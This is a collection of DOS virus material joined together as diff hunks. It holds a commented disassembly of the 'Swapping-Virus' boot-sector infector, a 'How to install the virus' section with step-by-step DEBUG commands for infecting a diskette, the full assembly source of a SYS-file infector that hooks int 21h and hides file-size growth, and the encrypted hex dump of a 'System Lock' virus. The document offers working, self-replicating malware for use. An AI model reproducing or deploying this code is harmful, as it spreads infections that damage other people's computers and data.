Particularities.........: A diskette will be infected only if track 39 sectors
6-7 are empty.
-------------------------------------------------------------------------------
D I S A S S E M B L Y
-------------------------------------------------------------------------------
;The first thing I did, inorder to dis-assemble this virus, was un-assemling
;it with the U command in DOS's DEBUG utility. Then, I used a dis-assembler
;called ASMGEN to set all the labels and variables in the .ASM file. I then
;compared the two outputs (from DEBUG and from ASMGEN) and updated the .ASM
;file that no command will be missing, added a few things and this is the
;result:
CODE SEGMENT
ASSUME DS:CODE,CS:CODE
ORG 0000H
START: JMP L0353
DATA_BEGIN EQU THIS BYTE
OldInt8 DW 0,0 ;The old interrupt 8: Offset Segment
OldInt13 DW 0,0 ;The old interrupt 13: Offset Segment
RandomNumber DW 0 ;The random number
Flag DB 0
Counter DW 0
Counter2 DW 0
Status DB 0
CHAR DB 0 ;The character that is falling
CHARUNDER DB 0 ;The chacterer that we save
ADDRCHAR DW 0 ;The address of the character in mem.
GOT13 DB 0 ;If interrupt 13 is installed
DISKDRIV DB 0 ;The diskette that we are infecting
DISK DW 0 ;The diskette that we are infecting
DATA_END EQU THIS BYTE
; The following 11 command are written into the boot-sector at address CS:196
; At first I worte the commands, but some of the opcodes weren't the same as
; in the virus so I've exchanged them into opcodes for maximum compability.
StartCmds EQU THIS BYTE
DB 031h,0C0h ;XOR AX,AX
DB 0CDh,013h ;INT 13h
DB 0B8h,002h,002h ;MOV AX,OFFSET 0202h
DB 0B9h,006h,027h ;MOV CX,OFFSET 2706h
DB 0BAh,000h,001h ;MOV DX,OFFSET 0100h
DB 0BBh,000h,020h ;MOV BX,OFFSET 2000h
DB 08Eh,0C3h ;MOV ES,BX
DB 0BBh,000h,000h ;MOV BX,0
DB 0CDh,013h ;INT 13h
DB 09Ah,00h,00h,00h,020h ;Call 2000h:0000
DB 0E9h ;JMP
FirstJMP DW 0FE89h ; 003EH (Don't worry,
; it's the right addres
;------------------------------------------
; This is the new interrupt $13 routine
;------------------------------------------
NewInt13:
PUSHF ;
CMP DL,1h ;Call for drive A: or B:?
JA L0153 ;If not, don't put virus
CMP AH,2h ;Is it a readblock function
JB L0153 ;(AH=2)? No, AH is smaller so
;don't put virus
CMP AH,3h ;Is it a writeblock function
JA L0153 ;(AH=3)? No, AH is bigger so
;don't put virus
INC DL ;Set disk drive to fit the user
;(Drive A=1 ; Drive B=2)
MOV CS:DiskDriv,DL ;Save the drive number
DEC DL ;Set disk drive to fit the int.
;(Drive A=0 ; Drive B=1)
L0153: CALL DWORD PTR CS:OldInt13 ;Call the original int 13
JNB L0160 ;If no error, goto end of
;routine. (JNB=JNC)
MOV BYTE PTR CS:DiskDriv,0 ;If error, DiskDriv=0
L0160: RETF 2 ;Return from routine
;-----------------------------------------------------
; Infect the diskette
;-----------------------------------------------------
L0163: PUSH ES ;
PUSH BP ;Save registers
MOV BP,SP ;
MOV AX,[BP+10h] ;Let AX=CS from the stack
POP BP ;
CMP AX,0200h ;Are we called from the system?
JBE L01BB ;If so, don't infect
MOV BX,CS ;Get the program segment
CMP AX,BX ;Is it the same as one from
JNB L01BB ;stack? If so, don't infect
MOV AX,CS ;
MOV ES,AX ;ES=CS
MOV AL,CS:DiskDriv ;AL=DiskDriv
DEC AL ;Set AL to fit int
XOR AH,AH ;AH=0
MOV CS:Disk,AX ;Save AX
MOV AX,0201h ;Read one sector
MOV BX,0400h ;to buffer CS:400
MOV CX,0003h ;from sector 3, track 0 (FAT)
MOV DX,CS:Disk ;restore the disk drive
INT 13h ;Read it!!!
JB L01BE ;If error, don't infect
MOV AX,0301h ;Write one sector
MOV BX,0400h ;from CS:400
MOV DX,CS:Disk ;the disk drive number
CMP BYTE PTR CS:[BX+13h],0 ;is there something on it?
JNZ L01BE ;yes, don't infect
MOV BYTE PTR CS:[BX+13h],0F7h ;Mark the sector before the
OR BYTE PTR CS:[BX+14h],0Fh ;last one as bad
INT 13h ;Re-write the FAT!
JB L01BE ;If error, don't infect!
JMP SHORT L01C1 ;Continue...
;Note: I have no idea what is the object of the next NOPs.
NOP ;
L01BB: JMP SHORT L022D ;These JMP are for the don't
NOP ;infect...see above!
L01BE: JMP SHORT L0227 ;
NOP ;
L01C1: MOV AX,0201h ;Read one sector to the
MOV BX,0400h ;buffer at CS:400
MOV CX,0001h ;from sector 1, track 0 (boot
MOV DX,CS:Disk ;sector) from diskette
INT 13h ;Read it!
JB L0227 ;If error, don't infect
;A boot sector always start with a JMP to a certain place. This virus changes
;this JMP to
MOV BX,0400h ;Check where does the first
MOV AL,CS:[BX+1] ;JMP jumps to.
XOR AH,AH ;
SUB AX,1B3h ;Reduce 1B3h to calculate the
;real JMP address and
MOV CS:FirstJMP,AX ;save it.
MOV WORD PTR CS:[BX],93E9h ;Change the JMP in the loaded
MOV BYTE PTR CS:[BX+2],1 ;boot-sector (CS:400). E9=JMP
PUSH SI ;
PUSH DI ;
PUSH DS ;Save registers
MOV AX,CS ;
MOV DS,AX ;DS=CS
;Here, the commands which are added to the boot-sector at the 196th byte are
;copied to the loaded boot-sector at address CS:400.
MOV SI,Offset StartCmds ;SI points to commands to add
;to the boot-sector
MOV DI,0596h ;The 196th byte from CS:400
MOV CX,1Fh ;The commands are 1Fh bytes long
CLD ;
REPZ MOVSB ;Copy it!
L0200: POP DS ;
L0201: POP DI ;
L0202: POP SI ;Restore registers
;The loaded and changed boot-sector is re-written to the diskette.
MOV AX,0301h ;Write one sector from
MOV BX,0400h ;CS:400 to
MOV CX,0001h ;sector 1, track 0
MOV DX,CS:Disk ;disk number..
INT 13h ;Write data!
JB L0227 ;If error, don't infect
;Here, the virus is written to the diskette to the marked bad sectors
MOV AX,0302h ;Write two sectors from
MOV BX,0 ;CS:0 (this code!) to
MOV CX,2706h ;track 27h, sector 6
MOV DX,CS:Disk ;disk number..
MOV DH,1h ;side number 1
INT 13h ;Write it!
L0227: MOV BYTE PTR CS:DiskDriv,0 ;In case of error DiskDriv=0
L022D: POP ES ;Restore register
JMP SHORT L02AF ;finished infecting
NOP ;Again, i don't know what is
;this NOP object
;-------------------------------------------
; The new interrupt 13h is installed here
;-------------------------------------------
L0231: XOR AX,AX ;ES points to lowest segment
MOV ES,AX ;in memory
MOV BX,ES:4Ch ;
MOV CS:OldInt13[0],BX ;Save the int vector (offset)
MOV BX,ES:4Eh ;
MOV CS:OldInt13[2],BX ;Save the int vector (segment)
MOV BX,CS ;BX=CS
MOV ES:4Eh,BX ;Change the int vector (segment)
MOV BX,Offset NewInt13 ;BX=Offset of the new int 13
MOV ES:4Ch,BX ;Change the int vector (offset)
MOV BYTE PTR CS:Got13,1 ;Mark flag that int 13 is instal
MOV BYTE PTR CS:Status,0 ;Status=0
JMP L034D ;Continue....
;-----------------------------------------------------
L0267: JMP L0163 ;Infect disk!
;-----------------------------------------------------
;This is the new interrupt $8
;-----------------------------------------------------
L026A: PUSHF ;
CALL DWORD PTR CS:OldInt8 ;Call orginal interrput
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH ES ;Save registers
;The virus picks a random number. It does it by adding AX,BX,CX and DX
;to RandomNumber. The values of AX,BX,CX and DX are undefined because an
;hardware interrupt (look6 commands back) was called.
ADD CS:RandomNumber,AX ;\
ADD CS:RandomNumber,BX ; |_ Create random number
ADD CS:RandomNumber,CX ; |
ADD CS:RandomNumber,DX ;/
;I am not sure what the programmer had done next but my guess is that this
;is the time check. The virus starts to work after 10 minuntes or so.
CMP WORD PTR CS:Counter,0443h ;Is my counter>=443h?
JNB L029F ;Yes, it is..
INC WORD PTR CS:Counter ;No, incerase it and also
INC WORD PTR CS:Counter2 ;increase another thing (??)
;and then,
JMP L034D ;goto end of routine
L029F: CMP BYTE PTR CS:Got13,0 ;
JZ L0231
CMP BYTE PTR CS:DiskDriv,0 ;Is diskette infected?
JNZ L0267 ;No, infect it!
L02AF: CMP WORD PTR CS:Counter2,2A9Dh ;??
JNB L02C0 ;??
INC WORD PTR CS:Counter2 ;??
JMP L034D ;Exit routine
;-----------------------------------------------------------------
; This is the main routine which drops the letter from the screen
;-----------------------------------------------------------------
L02C0: MOV BX,0B800h ;Make ES point to the screen
MOV ES,BX ;segment (only cga,ega,mcga)
CMP BYTE PTR CS:Status,0 ;Is status=0?
JNZ L0305 ;No, drop letter
;This is done to make space in the time between the letters fall.
ADD BYTE PTR CS:Flag,4 ;Flag:=Flag+4
CMP BYTE PTR CS:Flag,4 ;Is flag=4?
JNB L034D ;If so, don't drop
MOV BX,CS:RandomNumber ;Set up random number..
MOV CL,5 ;
SHR BX,CL ;first, devide it by 32
SHL BX,1 ;second, multiply it by 2
MOV AL,ES:[BX] ;Save the char we need to drop
CMP AL,20h ;is it a space( )?
JZ L034D ;if so, don't drop
MOV CS:Char,AL ;Save the char
MOV BYTE PTR CS:CharUnder,20h ;The saved char is now ' '
MOV CS:AddrChar,BX ;Svae the address of the char
MOV BYTE PTR CS:Status,1 ;Status=1
L0302: JMP SHORT L034D ;Go to exit
NOP ;
L0305: CMP BYTE PTR CS:Status,2 ;Is Status=2?
JZ L0315 ;If so, continue
INC BYTE PTR CS:Status ;Else, status=status+1
JMP SHORT L034D ;Go to exit
NOP ;
L0315: MOV BYTE PTR CS:Status,1 ;Status:=1
MOV BX,CS:AddrChar ;Put address of character in BX
MOV AL,CS:CharUnder ;and the saved char at AL
MOV ES:[BX],AL ;Erase the letter on the screen
ADD BX,0A0h ;Move pointer to next line
CMP BX,0FA0h ;Did we past end of screen?
JA L0347 ;If so, the dropping has ended
MOV CS:AddrChar,BX ;Save the new address
MOV AL,ES:[BX] ;and the character
MOV CS:CharUnder,AL ;and put the dropping letter
MOV AL,CS:Char ;in the current location
MOV ES:[BX],AL ;
JMP SHORT L034D ;Go to end of routine
NOP ;
L0347: MOV BYTE PTR CS:Status,0 ;Status:=0
;
L034D: POP ES ;Resotre registers
POP DX ;
POP CX ;
POP BX ;
POP AX ;
IRET ;Return from interrupt
;-------------------------------------------------------------------
;This part of the virus initilized the TSR
;-------------------------------------------------------------------
L0353: PUSH DS ;
PUSH ES ;Save registers
MOV AX,CS ;
MOV DS,AX ;Make CS=DS
;First thing, clear all the data area
MOV ES,AX ;ES=DS
MOV DI,OFFSET DATA_BEGIN ;Offset of beginning of data
MOV CX,OFFSET DATA_END-OFFSET DATA_BEGIN ;Length of data
CLD ;Go forward
XOR AL,AL ;Store 0 each time (AL=0)
REPZ STOSB ;Repeat so CX times
;Now, make ES point to the lowest segment in the memory
XOR AX,AX ;
MOV ES,AX ;ES point to lowest segment
;The interrupt vectors are written in the lowest segment so:
;
; 1) Save the interrupt 8 segment and offset for later use
; 2) Read amount of memory (0:413h) and steal 2K (the virus will be put here)
MOV BX,ES:20h ;Get offset of int $8
MOV DS:OldInt8[0],BX ;Save int $8 offset
MOV BX,ES:22h ;Get segment of int $8
MOV DS:OldInt8[2],BX ;Save int $8 segment
MOV AX,ES:413h ;Put amount of mem. in AX,
SUB AX,2 ;steal 2K and
MOV ES:413h,AX ;save the new amount of mem.
;Copy the virus to the highest place in the memory:
MOV CL,6 ;
SHL AX,CL ;Multiply the mem size by 64 and
MOV ES,AX ;make ES point to this segm.
MOV SI,OFFSET START ;SI to begining of this code
MOV DI,SI ;
MOV CX,OFFSET _End-OFFSET Start ;Virus length=_End-Start
CLD ;
REPZ MOVSB ;Copy the virus.
;IMPORTANT: I am not sure that what I am saying in the next paragraph is
; correct. Please let me know if I am wrong
XOR AX,AX ;
MOV DS,AX ;DS point to lowest segment
MOV BX,CS:OldInt8[0] ;Get the offset of int $8 and
MOV BYTE PTR ES:[BX],0CFh ;put 0CFh there (I think it is
;to put IRET).
;OK, now all the virus needs to do is to change the interrupt vector so
;it will point the new $8 interrput.
MOV BX,ES ;
CLI ;
MOV DS:22h,BX ;Change the vector (Segment)
MOV BX,OFFSET L026A ;BX=Offset of new interrupt
MOV DS:20h,BX ;Change the vector (Offset)
STI ;
POP ES ;Restore registers
POP DS ;
RETF ;Return back
;I guess this is the signature of the virus:
DB 'The Swapping-Virus. (C) June, 1989 by the CIA'
_END EQU THIS BYTE
CODE ENDS
;
END START
-------------------------------------------------------------------------------
H O W T O I N S T A L L T H E V I R U S
-------------------------------------------------------------------------------
1) Cut the disassembly from this text.
2) Compile the disassembly. I used Macro Assembler 5.1 in order to compile and
link it but I think that there won't be any trouble using Turbo Assembler.
3) Use EXE2BIN or anything else inorded to make it a .COM file.
4) Format a diskette with the /S option inorder to put the operation system on
it (make sure you format it in 9 sectors per track format).
5) Enter DOS's DEBUG debugger and load the .COM file that you have created.
6) Type: M 100 400 0 this is done inorded to move the virus from CS:100 to
CS:0.
7) Put the diskette you want to infect in drive A.
8) Type: W 0 0 2CC 2 this command will write the virus into sectors 6-7 on
track 39.
9) Type: L 0 0 0 1 this will load the boot sector into the memory.
10) Type: U 0 and remember the number after the JMP in offset 0.
11) Type: A 0
JMP 196 this will execute the virus each time the
diskette is booted.
12) Type: A 196
XOR AX,AX
INT 13
MOV AX,202
MOV CX,2706
MOV DX,100
MOV BX,2000
MOV ES,BX
MOV BX,0
INT 13
CALL 2000:0000
JMP <the number from CS:0>
13) Now, save the boot sector by typing: W 0 0 0 1
That's it! The virus is now installed on your diskette!
+-----------------------------------------------------------------------+
| BitNet: NYYUVL@WEIZMANN CSNet: NYYUVAL@WEIZMANN.BITNET |
| InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU |
| |
| Yuval Tal |
| The Weizmann Institute Of Science "To be of not to be" -- Hamlet |
| Rehovot, Israel "Oo-bee-oo-bee-oo" -- Sinatra |
+-----------------------------------------------------------------------+
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,311 @@
;Sysinf.asm????
.model tiny
.code
org 0 ; SYS files originate at zero
; SYS infector
; Written by Dark Angel of Phalcon/Skism
; for 40Hex
header:
next_header dd -1 ; FFFF:FFFF
attribute dw 8000h ; character device
strategy dw offset _strategy
interrupt dw offset _interrupt
namevirus db 'SYS INF ' ; simple SYS infector
endheader:
author db 0,'Simple SYS infector',0Dh,0Ah
db 'Written by Dark Angel of Phalcon/Skism',0
_strategy: ; save es:bx pointer
push si
call next_strategy
next_strategy:
pop si
mov cs:[si+offset savebx-offset next_strategy],bx
mov cs:[si+offset savees-offset next_strategy],es
pop si
retf
_interrupt: ; install virus in memory
push ds ; generally, only the segment
push es ; registers need to be preserved
push cs
pop ds
call next_interrupt
next_interrupt:
pop bp
les bx,cs:[bp+savebx-next_interrupt] ; get request header pointer
mov es:[bx+3],8103h ; default to fail request
cmp byte ptr es:[bx+2], 0 ; check if it is installation request
jnz exit_interrupt ; exit if it is not
mov es:[bx+10h],cs ; fill in ending address value
lea si,[bp+header-next_interrupt]
mov es:[bx+0eh],si
dec byte ptr es:[bx+3] ; and assume installation failure
mov ax, 0b0fh ; installation check
int 21h
cmp cx, 0b0fh
jz exit_interrupt ; exit if already installed
add es:[bx+0eh],offset endheap ; fixup ending address
mov es:[bx+3],100h ; and status word
xor ax,ax
mov ds,ax ; ds->interrupt table
les bx,ds:[21h*4] ; get old interrupt handler
mov word ptr cs:[bp+oldint21-next_interrupt],bx
mov word ptr cs:[bp+oldint21+2-next_interrupt],es
lea si,[bp+int21-next_interrupt]
cli
mov ds:[21h*4],si ; replace int 21h handler
mov ds:[21h*4+2],cs
sti
exit_interrupt:
pop es
pop ds
retf
int21:
cmp ax,0b0fh ; installation check?
jnz notinstall
xchg cx,ax ; mark already installed
exitint21:
iret
notinstall:
pushf
db 9ah ; call far ptr This combined with the
oldint21 dd ? ; pushf simulates an int 21h call
pushf
push bp
push ax
mov bp, sp ; set up new stack frame
; flags [bp+10]
; CS:IP [bp+6]
; flags new [bp+4]
; bp [bp+2]
; ax [bp]
mov ax, [bp+4] ; get flags
mov [bp+10], ax ; replace old flags with new
pop ax ; restore the stack
pop bp
popf
cmp ah, 11h ; trap FCB find first and
jz findfirstnext
cmp ah, 12h ; FCB find next calls only
jnz exitint21
findfirstnext:
cmp al,0ffh ; successful findfirst/next?
jz exitint21 ; exit if not
push bp
call next_int21
next_int21:
pop bp
sub bp, offset next_int21
push ax ; save all registers
push bx
push cx
push dx
push ds
push es
push si
push di
mov ah, 2fh ; ES:BX <- DTA
int 21h
push es ; DS:BX->DTA
pop ds
cmp byte ptr [bx], 0FFh ; extended FCB?
jnz regularFCB ; continue if not
add bx, 7 ; otherwise, convert to regular FCB
regularFCB:
mov cx, [bx+29] ; get file size
mov word ptr cs:[bp+filesize], cx
push cs ; ES = CS
pop es
cld
; The following code converts the FCB to an ASCIIZ string
lea di, [bp+filename] ; destination buffer
lea si, [bx+1] ; source buffer - filename
cmp word ptr [si],'OC' ; do not infect CONFIG.SYS
jz bombout
mov cx, 8 ; copy up to 8 bytes
back: cmp byte ptr ds:[si], ' ' ; is it a space?
jz copy_done ; if so, done copying
movsb ; otherwise, move character to buffer
loop back
copy_done:
mov al, '.' ; copy period
stosb
mov ax, 'YS'
lea si, [bx+9] ; source buffer - extension
cmp word ptr [si], ax ; check if it has the SYS
jnz bombout ; extension and exit if it
cmp byte ptr [si+2], al ; does not
jnz bombout
stosw ; copy 'SYS' to the buffer
stosb
mov al, 0 ; copy null byte
stosb
push ds
pop es ; es:bx -> DTA
push cs
pop ds
xchg di,bx ; es:di -> DTA
; open file, read/only
call open ; al already 0
jc bombout ; exit on error
mov ah, 3fh ; read first
mov cx, 2 ; two bytes of
lea dx, [bp+buffer] ; the header
int 21h
mov ah, 3eh ; close file
int 21h
InfectSYS:
inc word ptr cs:[bp+buffer] ; if first word not FFFF
jz continueSYS ; assume already infected
; this is a safe bet since
; most SYS files do not have
; another SYS file chained on
alreadyinfected:
sub es:[di+29], heap - header ; hide file size increase
; during a DIR command
; This causes CHKDSK errors
;sbb word ptr es:[di+31], 0 ; not needed because SYS files
; are limited to 64K maximum
bombout:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
pop bp
iret
continueSYS:
push ds
pop es
lea si, [bp+offset header]
lea di, [bp+offset bigbuffer]
mov cx, offset endheader - offset header
rep movsb
mov cx, cs:[bp+filesize]
add cx, offset _strategy - offset header ; calculate offset to
mov word ptr [bp+bigbuffer+6],cx ; strategy routine
add cx, offset _interrupt - offset _strategy;calculate offset to
mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine
continueinfection:
mov ax, 4300h ; get file attributes
lea dx, [bp+filename]
int 21h
push cx ; save attributes on stack
push dx ; save filename on stack
mov ax, 4301h ; clear file attributes
xor cx, cx
lea dx,[bp+filename]
int 21h
call openreadwrite
mov ax, 5700h ; get file time/date
int 21h
push cx ; save them on stack
push dx
mov ah, 40h ; write filesize to the old
mov cx, 2 ; SYS header
lea dx, [bp+filesize]
int 21h
mov ax, 4202h ; go to end of file
xor cx, cx
cwd ; xor dx, dx
int 21h
mov ah, 40h ; concatenate header
mov cx, offset endheader - offset header
lea dx, [bp+bigbuffer]
int 21h
mov ah, 40h ; concatenate virus
mov cx, offset heap - offset endheader
lea dx, [bp+endheader]
int 21h
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 21h
mov ah, 3eh ; close file
int 21h
mov ax, 4301h ; restore file attributes
pop cx
pop dx
int 21h
jmp bombout
openreadwrite:
mov al, 2 ; open read/write mode
open: mov ah, 3dh
lea dx,[bp+filename]
int 21h
xchg ax, bx ; put handle in bx
ret
heap:
savebx dw ?
savees dw ?
buffer db 2 dup (?)
filename db 13 dup (?)
filesize dw ?
bigbuffer db offset endheader - offset header dup (?)
endheap:
end header
@@ -0,0 +1,224 @@
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
³ System Lock Virus Source. ³
³ Ripped by : The Head Hunter [FS] ³
³ ³
³ I don't know what it do, and don't wanna know ³
³ for sure... One thing... It does it. ³
ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
Main: JMP Jmp0
db 02,00,00,00,02,00,00,00,00,00,00,00,00,00,39,28,46,03,03,01
Jmp0:
MOV CX, CS
MOV DX, CX
ADD CX, 0017h
PUSH CX
XOR CX, CX
PUSH CX
RETF
db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90
db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90
db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90
db 90,90,90,90,90,ff,ff,ff,ff,35,08,36,08,ff,ff,38,08,bb,01,00
db 90,eb,16,bb,02,00,90,eb,10,39,65,02,00,c1,07,01,01,0c,03,00
db 00,0c,00,8d,90,8c,d9,8c,cf,8e,df,8e,c7,8e,d7,8b,fc,bc,dd,0d
db fc,e8,03,00,e9,48,06,50,51,56,be,59,00,b9,26,08,90,d1,e9,8a
db e1,8a,c1,33,06,14,00,31,04,46,46,e2,f2,5e,59,58,c3,e8,df,ff
db cd,21,cc,da,ff,c3,4e,42,48,9a,ed,54,a8,3f,ce,2d,89,cc,02,cc
db 33,dd,f0,f6,8d,cb,5b,50,5d,c8,59,8e,de,ed,0e,06,82,d7,e7,02
db 0e,5b,ce,51,5d,89,29,4d,f6,2f,1a,16,f8,ff,7d,22,1e,fa,f5,a3
db af,38,ab,a7,a8,74,1a,f9,f8,7d,68,54,fe,45,ff,3f,dd,a9,b8,b4
db 21,dd,d0,dc,d3,db,d2,de,d1,d1,dc,ab,a6,a8,af,a1,ac,51,d9,2b
db c9,24,dc,29,54,e5,ed,72,14,20,83,8f,66,e2,6b,8a,d9,66,cb,d8
db 46,52,cb,88,dd,16,fa,a6,c6,5e,cf,8a,d1,d4,c9,ba,d7,e2,1d,6b
db d8,d3,12,2e,13,1d,23,34,4b,07,46,0a,d0,c9,46,1b,c4,90,93,07
db 9a,96,98,94,9f,91,c4,1b,bb,c2,26,b3,5c,60,0b,b4,5a,13,4e,82
db b3,c2,b4,53,e6,29,3b,bc,06,b3,9d,3a,bc,99,b9,85,78,3c,77,47
db 'o:E@'
db 12,95,9b,a9,d7,54,22,69,a3,24,70,40,15,a9,d7,87,25,95,1d,ac
db ab,a5,dd,a3,40,20,50,4b,ad,49,d7,5d,de,b8,2b,9c,d0,16,8f,cc
db 99,52,b6,ea,86,2d,d5,20,2c,93,22,96,9a,1e,87,c4,91,5a,be,e3
db 9e,0d,16,45,12,95,31,84,a4,03,87,a2,80,67,46,88,0a,57,0b,4c
db 19,d5,d4,de,d3,de,d1,45,db,d1,37,80,8e,0b,93,b9,85,03,90,6c
db 06,70,f1,40,34,76,59,0c,27,c1,76,7a,9f,37,eb,fe,64,4e,70,f6
db 9b,b7,0a,32,c0,35,74,f2,40,5d,17,61,e2,51,41,1a,55,ef,5b,68
db 12,59,23,81,8a,eb,17,65,29,10,7b,e6,14,65,20,15,62,e1,11,61
db 21,16,55,e4,53,5d,ba,48,c0,df,2b,59,13,2c,5a,da,28,59,03,21
db 53,d5,25,55,1d,22,5c,e8,5c,51,03,09,9f,03,10,1d,10,53,cd,8e
db ce,97,ff,48,05,84,64,55,36,7d,c2,4a,6a,4c,57,ca,88,c9,97,c1
db af,bf,b2,fa,4d,00,fe,1d,2d,4f,10,20,bc,ff,b9,e0,8e,3b,08,f7
db 15,24,49,20,b1,ed,9a,64,31,8f,3f,67,f3,10,4f,3a,b5,25,01,25
db ab,23,05
db ''zv|p'
db e5
db 'yv{v}'
db a0,d6,a1,3b,7b,2f,a3,29,0b,29,a5,37,0f,2b,94,22,44,d1,33,6f
db 06,aa,2e,d2,36,6a,07,07,9e,14,34,12,97,d4,94,cd,92,c0,a0,16
db 5c,dd,3f,0e
db 'CHEH['
db cf
db 'R\SYV'
db b0,bd,00,8d,c6,37,ca,f6,a5,88,eb,0e,bb,4d,0f,b1,0a,0f,f3,aa
db '^SXU[0'
db ac,a1,ac,a3,46,f0,bd,c4,31,c5,2b,7e,e4,a6,f2,36,d5,a0,ac,a2
db ae,3b,a7,ac,a1,ac,49,ff,b0,cf,3a,68,f2,a2,e4,60,0d,ef,ef,5d
db f8,e6,c2,36,6b,06,e4,eb,6d,fc,fd,e9,6d,f6,b5,e6,2d,cf,bb,b4
db b9,b4,20,83,8f,83,8f,86,88,6e,fe,df,67,a9,d1,6c,f9,d4,4b,28
db 70,59,eb,9b,df,d8,a3,dc,39,5b,d1,5c,ec,9c,da,c3,3c,b0,c9,38
db 25,ba,5f,73,f7,7c,e8,cd,73,e7,cb,5b,4f,d4,97,c0,0b,e9,b4,cc
db 2b,a8,51,4c,fc,ed,cb,fe,e6,c7,b9,48,55,ea,2f,09,b6,be,06,94
db b2,35,7c,ab,b4,03,b3,b9,26,4b,11,ca,b4,47,5a,f9,22,1d,f3,aa
db a9,a2,ac,f1,8b,af,af,ff,dc,a0,8c,55,55,a1,bb,ab,15,ae,76,41
db 05,b2,af,47,e6,51,d3,89,16,ec,19,6d,9b,2b,be,91,0e,1b,81,c5
db 91,5b,b8,e7,89,7c,dd,64,e6,94,21,d9,a5,4a,2e,40,9d,15,8f,cf
db 9b,74,7d,7f,10,3c,f2,89,31,a1,87,3e,ab,86,19,76,2e,19,d5,d4
db de,d3,de,d1,45,d8,d4,de,d2,d9,d7,33,c6,84,3c,d1,74,cb,77,71
db ee,83,db,d6,6e,76,da,d9,72,b3
db '}mtzu'
db cd,49,c2,23,76,c9,62,71,ed,f9,62,21,6a,a1,43,1e,63,85,da,ce
db 01,61,c5,73,65,57,d2,17,1e,60,93,8c,a4,66,c9,3f,66,28,d4,61
db 6f,95,8e,60,55,0a,5b,de,83,5e,6b,49,15
db 'Q#_n\'
db 14,52,2f,50,a3,bc,f4,56,f9,3d,56,f3,1a,59,fc,3a,55,f0,05,44
db e3,2f,48,ed,08,47,e6,2c,4f,ea,0f,42,83
db 'M#MLE'
db 8e,40,2c,4e,92,4d,c5,5f,0f,4b,c7,55,73,35,62,b6,f3,1b,3f,3f
db 6f,4c,31,b8,d7,ca,cb,b8,f9,24,b9,e6,39,8f,3c,37,ee,db,ef,eb
db df,c8,17,25,7f,25,ab,3b,4b,27,a9,39,45,21,af,3f,69,22,85,7d
db 22,74,0f
db '*)~\!'
db 0a,d0,d1,24,3d,22,29,fc,1e,97,ca,38,ee,1f,65,1c,af,18,14,ba
db 43,13,a5,12,c8,ff,1b,0b,41,1f,df,11,79,19,a8,6d,f5,30,e2,61
db 21,b8,42,b7,55,07,b9,13,07,98,8d,17,57,03,c9,2a,79,15,e2,27
db f7,b2,48,34,dd,b9,d1,0c,86,1c,5e,0a,1b,30,09,43,53,f6,4f,bb
db ff,41,fc,f9,65,09,50,5a,57,fc,59,e3,f9,a8,a7,ad,a6,ab,a6,32
db ad,a0,03,f5,e3,e4,58,57,e9,06,d7,12,95,c0,5e,19,15,02,4c,10
db 48,f0,ea,0d,22,1b,9a,fd,6c,de,f0,e8,ec,96,e5,60,ed,c2,db,df
db a5,d9,3b,d5,3f,2d,2b,32,d6,32,72,25,a8,d5,23,6f,63,de,44,3f
db 8e,2d,21,df,dd,da,41,89,9b,0f,41,f3,77,c6,c1,bb,ce,69,d0,c9
db 4e,d4,c4,c3,20,cb,cc,4b,cf,76,c0,e1,6e,c4,cf,e7,46,dc,ce,c2
db b4,7f,e1,ec,e3,1e,fe,b7,b3,f9,14,dc,bd,02,b4,86,01,d1,b2,78
db 98,c5,bc,84,7f,5b,a9,3a,65,06,83,0a,a1,ac,18,e2,a9,63,81,dd
db 49,1c,98,64,84,d8,4c,0a,e4,ac,f0,fc,f2,65,f8,f4,fe,f2,0d,ee
db a5,16,90,1a,95,9c,28,f8,99,53,b1,14,4f,2c,d6,20,97,9a,2e,d4
db 93,59,bb,21,a7,5b,b9,cd,c6,cb,c6,52,cd,c1,cd,c1,d5,db,84,01
db 59,00,40,67,ff,77,c6,b4,81,8a,f1,89,b8,44,62,f8,72,32,91,4a
db ae,22,c0,89,39,b4,06,95,3d,74,8c,bf,bc,5f,f1,86,77,7c,08,7a
db 9c,d5,74,f2,75,00,73,82,9b,d5,0f,7e,97,17,81,d2,0d,7b,c4,53
db 63,cf,10,64,c0,1e,69,54,61,1f,6f,1b,63,ad,62,1b,62,64,6a,ee
db 7f,16,61,c7,21,68,d5,18,64,db,6d,63,9e,79,0a,2f,96,98,56,29
db 5e,58,c6,e6,55,5a,ea,0a,53,de,5e,13,53,96,2c,46,6d,d5,27,58
db 1a
db 'ib'J8oi'
db 9e,3b,a7,a4,af,8e,40,3f,4c,4b,d4,1d,1c,15,f4,1e,41,ff,41,47
db df,6b,b7,cb,c8,3b,45,67,13,36,36,b5,b4,47,39,79,70,da,c6,60
